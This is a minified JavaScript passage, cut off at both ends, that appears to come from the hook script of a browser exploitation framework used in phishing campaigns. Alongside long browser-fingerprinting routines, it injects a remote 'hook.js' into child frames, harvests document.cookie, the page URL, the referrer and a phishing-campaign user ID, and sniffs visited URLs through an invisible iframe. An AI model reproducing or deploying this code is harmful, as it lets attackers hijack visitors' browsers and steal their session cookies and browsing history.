ch(/CriOS\/(\d+)\./)&&23==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC24:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&24==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC24iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&24==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC25:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&25==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC25iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&25==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC26:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&26==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC26iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&26==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC27:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&27==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC27iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&27==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC28:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&28==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC28iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&28==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC29:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&29==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC29iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&29==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC30:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&30==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC30iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&30==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC31:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&31==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC31iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&31==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC32:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&32==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC32iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&32==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC33:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&33==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC33iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&33==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC34:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&34==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC34iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&34==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC35:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&35==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC35iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&35==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC36:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&36==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC36iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&36==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC37:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&37==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC37iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&37==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC38:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&38==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC38iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&38==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC39:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&39==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC39iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&39==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC40:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&40==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC40iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&40==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC41:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&41==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC41iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&41==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC42:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&42==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC42iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&42==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC43:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&43==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC43iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&43==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC44:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&44==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC44iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&44==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC45:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&45==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC46:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&46==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC47:function(){return!!window.chrome&&!!window.fetch&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&47==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC45iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&45==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC:function(){return this.isC5()||this.isC6()||this.isC7()||this.isC8()||this.isC9()||this.isC10()||this.isC11()||this.isC12()||this.isC13()||this.isC14()||this.isC15()||this.isC16()||this.isC17()||this.isC18()||this.isC19()||this.isC19iOS()||this.isC20()||this.isC20iOS()||this.isC21()||this.isC21iOS()||this.isC22()||this.isC22iOS()||this.isC23()||this.isC23iOS()||this.isC24()||this.isC24iOS()||this.isC25()||this.isC25iOS()||this.isC26()||this.isC26iOS()||this.isC27()||this.isC27iOS()||this.isC28()||this.isC28iOS()||this.isC29()||this.isC29iOS()||this.isC30()||this.isC30iOS()||this.isC31()||this.isC31iOS()||this.isC32()||this.isC32iOS()||this.isC33()||this.isC33iOS()||this.isC34()||this.isC34iOS()||this.isC35()||this.isC35iOS()||this.isC36()||this.isC36iOS()||this.isC37()||this.isC37iOS()||this.isC38()||this.isC38iOS()||this.isC39()||this.isC39iOS()||this.isC40()||this.isC40iOS()||this.isC41()||this.isC41iOS()||this.isC42()||this.isC42iOS()||this.isC43()||this.isC43iOS()||this.isC44()||this.isC44iOS()||this.isC45()||this.isC46()||this.isC47()||this.isC45iOS()},isO9_52:function(){return!!window.opera&&null!=window.navigator.userAgent.match(/Opera\/9\.5/)},isO9_60:function(){return!!window.opera&&null!=window.navigator.userAgent.match(/Opera\/9\.6/)},isO10:function(){return!!window.opera&&null!=window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./)},isO11:function(){return!!window.opera&&null!=window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./)},isO12:function(){return!!window.opera&&null!=window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./)},isO:function(){return this.isO9_52()||this.isO9_60()||this.isO10()||this.isO11()||this.isO12()},capabilities:function(){var e={},t=this.type();return e["navigator.plugins"]=t.IE11||!t.IE,e},type:function(){return{C5:this.isC5(),C6:this.isC6(),C7:this.isC7(),C8:this.isC8(),C9:this.isC9(),C10:this.isC10(),C11:this.isC11(),C12:this.isC12(),C13:this.isC13(),C14:this.isC14(),C15:this.isC15(),C16:this.isC16(),C17:this.isC17(),C18:this.isC18(),C19:this.isC19(),C19iOS:this.isC19iOS(),C20:this.isC20(),C20iOS:this.isC20iOS(),C21:this.isC21(),C21iOS:this.isC21iOS(),C22:this.isC22(),C22iOS:this.isC22iOS(),C23:this.isC23(),C23iOS:this.isC23iOS(),C24:this.isC24(),C24iOS:this.isC24iOS(),C25:this.isC25(),C25iOS:this.isC25iOS(),C26:this.isC26(),C26iOS:this.isC26iOS(),C27:this.isC27(),C27iOS:this.isC27iOS(),C28:this.isC28(),C28iOS:this.isC28iOS(),C29:this.isC29(),C29iOS:this.isC29iOS(),C30:this.isC30(),C30iOS:this.isC30iOS(),C31:this.isC31(),C31iOS:this.isC31iOS(),C32:this.isC32(),C32iOS:this.isC32iOS(),C33:this.isC33(),C33iOS:this.isC33iOS(),C34:this.isC34(),C34iOS:this.isC34iOS(),C35:this.isC35(),C35iOS:this.isC35iOS(),C36:this.isC36(),C36iOS:this.isC36iOS(),C37:this.isC37(),C37iOS:this.isC37iOS(),C38:this.isC38(),C38iOS:this.isC38iOS(),C39:this.isC39(),C39iOS:this.isC39iOS(),C40:this.isC40(),C40iOS:this.isC40iOS(),C41:this.isC41(),C41iOS:this.isC41iOS(),C42:this.isC42(),C42iOS:this.isC42iOS(),C43:this.isC43(),C43iOS:this.isC43iOS(),C44:this.isC44(),C44iOS:this.isC44iOS(),C45:this.isC45(),C46:this.isC46(),C47:this.isC47(),C45iOS:this.isC45iOS(),C:this.isC(),FF2:this.isFF2(),FF3:this.isFF3(),FF3_5:this.isFF3_5(),FF3_6:this.isFF3_6(),FF4:this.isFF4(),FF5:this.isFF5(),FF6:this.isFF6(),FF7:this.isFF7(),FF8:this.isFF8(),FF9:this.isFF9(),FF10:this.isFF10(),FF11:this.isFF11(),FF12:this.isFF12(),FF13:this.isFF13(),FF14:this.isFF14(),FF15:this.isFF15(),FF16:this.isFF16(),FF17:this.isFF17(),FF18:this.isFF18(),FF19:this.isFF19(),FF20:this.isFF20(),FF21:this.isFF21(),FF22:this.isFF22(),FF23:this.isFF23(),FF24:this.isFF24(),FF25:this.isFF25(),FF26:this.isFF26(),FF27:this.isFF27(),FF28:this.isFF28(),FF29:this.isFF29(),FF30:this.isFF30(),FF31:this.isFF31(),FF32:this.isFF32(),FF33:this.isFF33(),FF34:this.isFF34(),FF35:this.isFF35(),FF36:this.isFF36(),FF37:this.isFF37(),FF38:this.isFF38(),FF39:this.isFF39(),FF40:this.isFF40(),FF41:this.isFF41(),FF42:this.isFF42(),FF43:this.isFF43(),FF:this.isFF(),IE6:this.isIE6(),IE7:this.isIE7(),IE8:this.isIE8(),IE9:this.isIE9(),IE10:this.isIE10(),IE11:this.isIE11(),IE:this.isIE(),O9_52:this.isO9_52(),O9_60:this.isO9_60(),O10:this.isO10(),O11:this.isO11(),O12:this.isO12(),O:this.isO(),S4:this.isS4(),S5:this.isS5(),S6:this.isS6(),S7:this.isS7(),S8:this.isS8(),S:this.isS()}},getBrowserVersion:function(){
1057return this.isC5()?"5":this.isC6()?"6":this.isC7()?"7":this.isC8()?"8":this.isC9()?"9":this.isC10()?"10":this.isC11()?"11":this.isC12()?"12":this.isC13()?"13":this.isC14()?"14":this.isC15()?"15":this.isC16()?"16":this.isC17()?"17":this.isC18()?"18":this.isC19()?"19":this.isC19iOS()?"19":this.isC20()?"20":this.isC20iOS()?"20":this.isC21()?"21":this.isC21iOS()?"21":this.isC22()?"22":this.isC22iOS()?"22":this.isC23()?"23":this.isC23iOS()?"23":this.isC24()?"24":this.isC24iOS()?"24":this.isC25()?"25":this.isC25iOS()?"25":this.isC26()?"26":this.isC26iOS()?"26":this.isC27()?"27":this.isC27iOS()?"27":this.isC28()?"28":this.isC28iOS()?"28":this.isC29()?"29":this.isC29iOS()?"29":this.isC30()?"30":this.isC30iOS()?"30":this.isC31()?"31":this.isC31iOS()?"31":this.isC32()?"32":this.isC32iOS()?"32":this.isC33()?"33":this.isC33iOS()?"33":this.isC34()?"34":this.isC34iOS()?"34":this.isC35()?"35":this.isC35iOS()?"35":this.isC36()?"36":this.isC36iOS()?"36":this.isC37()?"37":this.isC37iOS()?"37":this.isC38()?"38":this.isC38iOS()?"38":this.isC39()?"39":this.isC39iOS()?"39":this.isC40()?"40":this.isC40iOS()?"40":this.isC41()?"41":this.isC41iOS()?"41":this.isC42()?"42":this.isC42iOS()?"42":this.isC43()?"43":this.isC43iOS()?"43":this.isC44()?"44":this.isC44iOS()?"44":this.isC45()?"45":this.isC46()?"46":this.isC47()?"47":this.isC45iOS()?"45":this.isFF2()?"2":this.isFF3()?"3":this.isFF3_5()?"3.5":this.isFF3_6()?"3.6":this.isFF4()?"4":this.isFF5()?"5":this.isFF6()?"6":this.isFF7()?"7":this.isFF8()?"8":this.isFF9()?"9":this.isFF10()?"10":this.isFF11()?"11":this.isFF12()?"12":this.isFF13()?"13":this.isFF14()?"14":this.isFF15()?"15":this.isFF16()?"16":this.isFF17()?"17":this.isFF18()?"18":this.isFF19()?"19":this.isFF20()?"20":this.isFF21()?"21":this.isFF22()?"22":this.isFF23()?"23":this.isFF24()?"24":this.isFF25()?"25":this.isFF26()?"26":this.isFF27()?"27":this.isFF28()?"28":this.isFF29()?"29":this.isFF30()?"30":this.isFF31()?"31":this.isFF32()?"32":this.isFF33()?"33":this.isFF34()?"34":this.isFF35()?"35":this.isFF36()?"36":this.isFF37()?"37":this.isFF38()?"38":this.isFF39()?"39":this.isFF40()?"40":this.isFF41()?"41":this.isFF42()?"42":this.isFF43()?"43":this.isIE6()?"6":this.isIE7()?"7":this.isIE8()?"8":this.isIE9()?"9":this.isIE10()?"10":this.isIE11()?"11":this.isS4()?"4":this.isS5()?"5":this.isS6()?"6":this.isS7()?"7":this.isS8()?"8":this.isO9_52()?"9.5":this.isO9_60()?"9.6":this.isO10()?"10":this.isO11()?"11":this.isO12()?"12":"UNKNOWN"},getBrowserName:function(){return this.isC()?"C":this.isFF()?"FF":this.isIE()?"IE":this.isO()?"O":this.isS()?"S":"UNKNOWN"},hookChildFrames:function(){var e=document.createElement("script");e.type="text/javascript",e.src="http://127.0.0.1:3000/hook.js";for(var t=0;t<self.frames.length;t++)try{self.frames[t].document.body.appendChild(e),mnE.debug("Hooked child frame [src:"+self.frames[t].window.location.href+"]")}catch(e){mnE.debug("Hooking child frame failed: "+e.message)}},hasFlash:function(){if(this.type().IE){if(flash_versions=12,flash_installed=!1,this.type().IE11)flash_installed=navigator.plugins["Shockwave Flash"]!=undefined;else if(null!=window.ActiveXObject)for(x=2;x<=flash_versions;x++)try{Flash=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+x+"');"),Flash&&(flash_installed=!0)}catch(e){mnE.debug("Creating Flash ActiveX object failed: "+e.message)}return flash_installed}return navigator.mimeTypes&&navigator.mimeTypes["application/x-shockwave-flash"]},hasQuickTime:function(){var e=!1;if(this.capabilities()["navigator.plugins"])for(i=0;i<navigator.plugins.length;i++)navigator.plugins[i].name.indexOf("QuickTime")>=0&&(e=!0);else{try{var t=new ActiveXObject("QuickTime.QuickTime")}catch(e){mnE.debug("Creating QuickTime ActiveX object failed: "+e.message)}t&&(e=!0)}return e},hasRealPlayer:function(){var e=!1;if(this.capabilities()["navigator.plugins"])for(n=0;n<navigator.plugins.length;n++)navigator.plugins[n].name.indexOf("RealPlayer")>=0&&(e=!0);else for(var t=["RealPlayer","rmocx.RealPlayer G2 Control","rmocx.RealPlayer G2 Control.1","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)"],n=0;n<t.length;n++){try{var i=new ActiveXObject(t[n])}catch(e){mnE.debug("Creating RealPlayer ActiveX object failed: "+e.message)}i&&(e=!0)}return e},hasWMP:function(){var e=!1;if(this.capabilities()["navigator.plugins"])for(i=0;i<navigator.plugins.length;i++)navigator.plugins[i].name.indexOf("Windows Media Player")>=0&&(e=!0);else{try{var t=new ActiveXObject("WMPlayer.OCX")}catch(e){mnE.debug("Creating WMP ActiveX object failed: "+e.message)}t&&(e=!0)}return e},hasVLC:function(){var e=!1;if(this.type().IE)try{control=new ActiveXObject("VideoLAN.VLCPlugin.2"),e=!0}catch(e){mnE.debug("Creating VLC ActiveX object failed: "+e.message)}else for(i=0;i<navigator.plugins.length;i++)navigator.plugins[i].name.indexOf("VLC")>=0&&(e=!0);return e},javaEnabled:function(){return navigator.javaEnabled()},hasPhonegap:function(){var e=!1;try{e=!(!device.phonegap&&!device.cordova)}catch(t){e=!1}return e},hasCors:function(){return"withCredentials"in new XMLHttpRequest||"undefined"!=typeof XDomainRequest},hasJava:function(){return!(!mnE.browser.getPlugins().match(/java/i)||!mnE.browser.javaEnabled())},hasVBScript:function(){return-1!=navigator.userAgent.indexOf("MSIE")&&-1!=navigator.userAgent.indexOf("Win")},getPlugins:function(){var e;if(Array.prototype.unique=function(){var e,t={},n=this.length,i=[];for(e=0;e<n;e+=1)t[this[e]]=this[e];for(e in t)i.push(t[e]);return i},this.capabilities()["navigator.plugins"])if(navigator.plugins&&navigator.plugins.length>0){e=new Array;for(var t=0;t<navigator.plugins.length;t++)mnE.browser.isFF()?e[t]=navigator.plugins[t].name+"-v."+navigator.plugins[t].version:e[t]=navigator.plugins[t].name;e=e.unique().toString()}else{e=new Array;var n={AdobeAcrobat:{control:"Adobe Acrobat","return":function(){try{return"Adobe Acrobat Version "+(r=navigator.plugins["Adobe Acrobat"].description)}catch(e){}}},Flash:{control:"Shockwave Flash","return":function(){try{return"Flash Player Version "+(r=navigator.plugins["Shockwave Flash"].description)}catch(e){}}},Google_Talk_Plugin_Accelerator:{control:"Google Talk Plugin Video Accelerator","return":function(){try{return"Google Talk Plugin Video Accelerator Version "+(r=navigator.plugins["Google Talk Plugin Video Accelerator"].description)}catch(e){}}},Google_Talk_Plugin:{control:"Google Talk Plugin","return":function(){try{return"Google Talk Plugin Version "+(r=navigator.plugins["Google Talk Plugin"].description)}catch(e){}}},Facebook_Video_Calling_Plugin:{control:"Facebook Video Calling Plugin","return":function(){try{return"Facebook Video Calling Plugin Version "+(r=navigator.plugins["Facebook Video Calling Plugin"].description)}catch(e){}}},Google_Update:{control:"Google Update","return":function(){try{return"Google Update Version "+(r=navigator.plugins["Google Update"].description)}catch(e){}}},Windows_Activation_Technologies:{control:"Windows Activation Technologies","return":function(){try{return"Windows Activation Technologies Version "+(r=navigator.plugins["Windows Activation Technologies"].description)}catch(e){}}},VLC_Web_Plugin:{control:"VLC Web Plugin","return":function(){try{return"VLC Web Plugin Version "+(r=navigator.plugins["VLC Web Plugin"].description)}catch(e){}}},Google_Earth_Plugin:{control:"Google Earth Plugin","return":function(){try{return"Google Earth Plugin Version "+(r=navigator.plugins["Google Earth Plugin"].description)}catch(e){}}},FoxitReader_Plugin:{control:"FoxitReader Plugin","return":function(){try{return"FoxitReader Plugin Version "+(r=navigator.plugins["Foxit Reader Plugin for Mozilla"].version)}catch(e){}}}},i=0;for(var t in n){var o=n[t].control;try{var r=n[t]["return"](o);r&&(e[i]=r,i+=1)}catch(e){}}}else this.getPluginsIE();return e},getPluginsIE:function(){var e="",t={AdobePDF6:{control:"PDF.PdfCtrl","return":function(e){return r=e.getVersions().split(","),r=r[0].split("="),"Acrobat Reader v"+parseFloat(r[1])}},AdobePDF7:{control:"AcroPDF.PDF","return":function(e){return r=e.getVersions().split(","),r=r[0].split("="),"Acrobat Reader v"+parseFloat(r[1])}},Flash:{control:"ShockwaveFlash.ShockwaveFlash","return":function(e){return r=e.getVariable("$version").substring(4),"Flash Player v"+r.replace(/,/g,".")}},Quicktime:{control:"QuickTime.QuickTime","return":function(){return"QuickTime Player"}},RealPlayer:{control:"RealPlayer","return":function(e){return r=e.getVersionInfo(),"RealPlayer v"+parseFloat(r)}},Shockwave:{control:"SWCtl.SWCtl","return":function(e){return r=e.ShockwaveVersion("").split("r"),"Shockwave v"+parseFloat(r[0])}},WindowsMediaPlayer:{control:"WMPlayer.OCX","return":function(e){return"Windows Media Player v"+parseFloat(e.versionInfo)}},FoxitReaderPlugin:{control:"FoxitReader.FoxitReaderCtl.1","return":function(e){return"Foxit Reader Plugin v"+parseFloat(e.versionInfo)}}};if(window.ActiveXObject){var n=0;for(var i in t){var o=null,r=null;try{o=new ActiveXObject(t[i].control)}catch(e){}o&&(0!=n&&(e+=", "),e+=t[i]["return"](o),n++)}}return e},getScreenSize:function(){return{width:window.screen.width,height:window.screen.height,colordepth:window.screen.colorDepth}},getWindowSize:function(){var e=0,t=0;return"number"==typeof window.innerWidth?(e=window.innerWidth,t=window.innerHeight):document.documentElement&&(document.documentElement.clientWidth||document.documentElement.clientHeight)?(e=document.documentElement.clientWidth,t=document.documentElement.clientHeight):document.body&&(document.body.clientWidth||document.body.clientHeight)&&(e=document.body.clientWidth,t=document.body.clientHeight),{width:e,height:t}},getDetails:function(){var e=new Array,t=mnE.browser.getBrowserName(),n=mnE.browser.getBrowserVersion(),i=mnE.browser.getBrowserReportedName(),o=mnE.browser.getBrowserLanguage(),r=document.title?document.title:"Unknown",a=document.location.href?document.location.href:"Unknown",s=document.referrer?document.referrer:"Unknown",c=document.location.hostname?document.location.hostname:"Unknown";switch(document.location.protocol){case"http:":var u="80";break;case"https:":var u="443";break;default:var u=""}var d=document.location.port?document.location.port:u,l=mnE.browser.getPlugins(),h=(new Date).toString(),p=mnE.os.getName(),f=mnE.os.getVersion(),m=mnE.os.getDefaultBrowser(),g=mnE.hardware.getName(),w=mnE.hardware.cpuType(),y=mnE.hardware.isTouchEnabled()?"Yes":"No",v="undefined"!=typeof navigator.platform&&""!=navigator.platform?navigator.platform:null,b=JSON.stringify(mnE.browser.type(),function(e,t){return 1==t?t:"object"==typeof t?t:void 0}),C=mnE.browser.getScreenSize(),S=mnE.browser.getWindowSize(),x=mnE.browser.hasVBScript()?"Yes":"No",E=mnE.browser.hasFlash()?"Yes":"No",k=mnE.browser.hasPhonegap()?"Yes":"No",F=mnE.browser.hasGoogleGears()?"Yes":"No",T=mnE.browser.hasWebSocket()?"Yes":"No",O=mnE.browser.hasWebRTC()?"Yes":"No",_=mnE.browser.hasActiveX()?"Yes":"No",A=mnE.browser.hasQuickTime()?"Yes":"No",N=mnE.browser.hasRealPlayer()?"Yes":"No",j=mnE.browser.hasWMP()?"Yes":"No";try{var D=document.cookie,I=mnE.browser.cookie.veganLol(),P=mnE.browser.cookie.hasSessionCookies(I)?"Yes":"No",M=mnE.browser.cookie.hasPersistentCookies(I)?"Yes":"No";D&&(e.Cookies=D),P&&(e.hasSessionCookies=P),M&&(e.hasPersistentCookies=M)}catch(t){e.Cookies="Cookies can't be read. The hooked origin is most probably using HttpOnly.",e.hasSessionCookies="No",e.hasPersistentCookies="No"}if(t&&(e.BrowserName=t),n&&(e.BrowserVersion=n),i&&(e.BrowserReportedName=i),o&&(e.BrowserLanguage=o),r&&(e.PageTitle=r),a&&(e.PageURI=a),s&&(e.PageReferrer=s),c&&(e.HostName=c),d&&(e.HostPort=d),l&&(e.BrowserPlugins=l),p&&(e.OsName=p),f&&(e.OsVersion=f),m&&(e.DefaultBrowser=m),g&&(e.Hardware=g),w&&(e.CPU=w),y&&(e.TouchEnabled=y),h&&(e.DateStamp=h),v&&(e.BrowserPlatform=v),b&&(e.BrowserType=b),C&&(e.ScreenSize=C),S&&(e.WindowSize=S),x&&(e.VBScriptEnabled=x),E&&(e.HasFlash=E),k&&(e.HasPhonegap=k),T&&(e.HasWebSocket=T),F&&(e.HasGoogleGears=F),O&&(e.HasWebRTC=O),_&&(e.HasActiveX=_),A&&(e.HasQuickTime=A),N&&(e.HasRealPlayer=N),j&&(e.HasWMP=j),"")for(var R="uid",W="",V=window.location.search.substring(1),L=V.split("&"),H=0;H<L.length;H++){var B=L[H].split("=");if(B[0]==R){W=B[1],e.PhishingFrenzyUID=W;break}}else e.PhishingFrenzyUID="N/A";return e},hasActiveX:function(){return!!window.ActiveXObject},hasWebRTC:function(){return!!window.mozRTCPeerConnection||!!window.webkitRTCPeerConnection},hasSilverlight:function(){var e=!1;try{if(mnE.browser.isIE()){new ActiveXObject("AgControl.AgControl");e=!0}else navigator.plugins["Silverlight Plug-In"]&&(e=!0)}catch(t){e=!1}return e},hasVisited:function(e){var t=new Array,n=mnE.dom.createInvisibleIframe(),i=n.contentDocument?n.contentDocument:n.contentWindow.document;i.open(),i.write("<style>a:visited{width:0px !important;}</style>"),i.close(),e=e.split("\n");var o=0;for(var r in e){var a=e[r];if(""!=a||null!=a){var s=!1,c=i.createElement("a");c.href=a,i.body.appendChild(c);var u=null;u=c.currentStyle?c.currentStyle.width:i.defaultView.getComputedStyle(c,null).getPropertyValue("width"),"0px"==u&&(s=!0),t.push({url:a,visited:s}),o++}}return mnE.dom.removeElement(n),0!=t.length&&t},hasWebSocket:function(){return!!window.WebSocket||!!window.MozWebSocket},hasGoogleGears:function(){var e=null;if(window.google&&google.gears)return!0;if("undefined"!=typeof GearsFactory)e=new GearsFactory;else try{e=new ActiveXObject("Gears.Factory"),-1!=e.getBuildInfo().indexOf("ie_mobile")&&e.privateSetGlobalObject(this)}catch(t){"undefined"!=typeof navigator.mimeTypes&&navigator.mimeTypes["application/x-googlegears"]&&(e=document.createElement("object"),e.style.display="none",e.width=0,e.height=0,e.type="application/x-googlegears",document.documentElement.appendChild(e),e&&"undefined"==typeof e.create&&(e=null))}return!!e},hasFoxit:function(){var e=!1;try{if(mnE.browser.isIE()){new ActiveXObject("FoxitReader.FoxitReaderCtl.1");e=!0}else navigator.plugins["Foxit Reader Plugin for Mozilla"]&&(e=!0)}catch(t){e=!1}return e},getPageHead:function(){var e;try{e=document.head.innerHTML.toString()}catch(e){}return e},getPageBody:function(){var e;try{e=document.body.innerHTML.toString()}catch(e){}return e},changeFavicon:function(e){var t=null;this.isC()&&(t=document.createElement("iframe"),t.src="about:blank",t.style.display="none",document.body.appendChild(t));var n=document.createElement("link"),i=document.getElementById("dynamic-favicon");n.id="dynamic-favicon",n.rel="shortcut icon",n.href=e,i&&document.head.removeChild(i),document.head.appendChild(n),this.isC()&&(t.src+="")},changePageTitle:function(e){document.title=e},getBrowserLanguage:function(){var e="Unknown";try{e=window.navigator.userLanguage||window.navigator.language}catch(e){}return e},getMaxConnections:function(e){var t=30,n=5,i="";i="PER_DOMAIN"==e?"http://browserspy.dk/connections.php?img=1&random=":"http://<token>.browserspy.dk/connections.php?img=1&random=";for(var o=0,r=0,a=new 